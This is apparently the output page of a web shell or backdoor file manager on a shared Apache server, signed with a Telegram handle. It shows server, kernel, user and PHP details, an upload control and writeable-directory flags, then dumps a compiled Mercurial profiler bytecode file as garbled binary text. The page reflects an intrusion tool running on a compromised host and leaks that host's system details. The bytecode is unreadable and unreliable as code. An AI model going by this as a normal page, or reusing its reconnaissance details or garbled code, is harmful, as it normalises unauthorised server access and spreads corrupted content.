https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/lsprof.cpython-310.pyc
o

�]Lb�@szddlmZmZddlZddlZddlmZddlmZejZeedd�Z	ddgZ
d	d
�ZGdd�de�Z
iZd
d�ZdS)�)�absolute_import�print_functionN���getattr)�pycompat�profiler_entrysprofilesStatscOsFt�}|jddd�z
||i|��W|��n|��wt|���S)�
XXX docstringT)�subcalls�builtins)�Profiler�enable�disable�Stats�getstats)�f�args�kwds�p�r�2/usr/lib/python3/dist-packages/mercurial/lsprof.py�profilesrc@s4eZdZdZdd�Zddd�Zd
dd	�Zd
d�ZdS)rr	cCs
||_dS�N)�data)�selfrrrr�__init__s
zStats.__init__�
inlinetimecs�tr�tjvr
td���n|jr t|jd�d�s td���|jj�fdd�dd�|jD]}|jr@|jj�fdd�dd�q/dS)	r	sCan't sort by %srNc�
t|��Srr��x��critrr�<lambda>+�
zStats.sort.<locals>.<lambda>T)�key�reversecrrrrr rrr".r#)r�__dict__�
ValueErrorrr�sort�calls)rr!�err rr("s
�
��z
Stats.sortNcCs|durtj}|j}|dur|d|�}d}d}|�|d�d}|D]d}	|�||	j|	j|	j|	jt|	j	�f�|d7}|durG||krGdSd}
|r�|	j
r�|	j
D]5}|�||j|j|j|jdt|j	�f�|d7}|
d7}
|dur|||kr|dS|dur�|
|kr�nqQq#dS)r	Ns% 12d %12d %11.4f %11.4f   %s
s% 12s %12s %12s %12s %s
)s	CallCounts	RecursivesTotal(s)s	Inline(s)smodule:lineno(function)rrs    %s)�sys�stdoutr�write�	callcount�reccallcount�	totaltimer�label�coder))r�top�file�limit�climit�d�cols�hcols�countr*�ccount�serrr�pprint0s`��
���


���
��zStats.pprintcCs�tt|j��D]K}|j|}t|jt�s't|�t|j�f|dd��|j|<|jrRtt|j��D] }|j|}t|jt�sQt|�t|j�f|dd��|j|<q1qdS)zwReplace all references to code objects with string
        descriptions; this makes it possible to pickle the instance.rN)	�range�lenr�
isinstancer2�str�typer1r))r�ir*�jr<rrr�freezefs
&
&��zStats.freeze)r)NNNN)�__name__�
__module__�__qualname__�__doc__rr(r=rErrrrrs

6rc	Cs�t|t�rtjjdkr|�d�}|Szt|j}Wn?tyXt	t
�tj��D]#\}}|dur1q(tt
|dd�t�s;q(|j�|j�rK|}t|j<nq(d|j}t|j<Ynwd||j|jf}tjjdkrm|�d�}|S)N�zlatin-1�__file__z<%s>z	%s:%d(%s))r@rAr+�version_info�major�encode�_fn2mod�co_filename�KeyError�listr�	iteritems�modulesrrK�
startswith�co_firstlineno�co_name)r2�mname�k�v�resrrrr1ys.

���
r1)�
__future__rr�_lsprofr+rr�rr�__all__r�objectrrOr1rrrr�<module>sZ

https://t.me/RX1948 - 2025